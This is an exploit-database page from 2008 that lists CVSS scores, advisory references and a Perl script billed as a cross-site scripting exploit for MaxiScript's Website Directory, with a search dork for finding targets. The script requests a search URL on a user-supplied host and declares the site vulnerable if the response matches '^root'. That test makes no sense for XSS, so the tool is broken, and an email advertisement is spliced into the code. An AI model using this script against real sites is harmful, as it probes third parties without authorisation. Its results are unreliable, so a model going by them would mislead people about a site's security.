Website Directory - XSS Exploit

2008.10.10
Credit: Ghost hacker
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

#!/usr/bin/perl ################################## # Coded And Found by Ghost Hacker # # Home www.Real-h.com # # Email Ghost-r00t[at]hotmail[dot]com # ################################## use LWP::UserAgent; use HTTP::Request; use LWP::Simple; print "\t\t########################################################\n\n"; print "\t\t# Website Directory - XSS Exploit #\n\n"; print "\t\t# by Ghost Hacker [Real-h.com] #\n\n"; print "\t\t# Dork : Powered by MaxiScript.com #\n\n"; print "\t\t########################################################\n\n"; if (!$ARGV[0]) { print " Author : Ghost Hacker\n"; print " Home : www.Real-h.com\n"; print " Email : Ghost-r00t[at]Hotmail[dot]com\n"; print " Download : http://www.maxiscript.com/websitedirectory.php\n"; print " Usage : perl Ghost.pl [Host]\n"; print " Example : perl Ghost.pl http://Real-h.com/path/\n"; } else { $web=$ARGV[0]; chomp $web; $iny="index.php?keyword=Xss_Hacking&action=search"; my $web1=$web.$iny; print "$web1\n\n"; my $ua = LWP::UserAgent->new; my $req=HTTP::Request->new(GET=>$web1); $doc = $ua->request($req)->as_string; if ($doc=~ /^root/moxis ){ print "Web is vuln\n"; } else { print "Web is not vuln\n"; } } _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

References:

http://xforce.iss.net/xforce/xfdb/45657
http://www.securityfocus.com/bid/31562
http://www.securityfocus.com/archive/1/archive/1/496967/100/0/threaded
http://secunia.com/advisories/32176


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top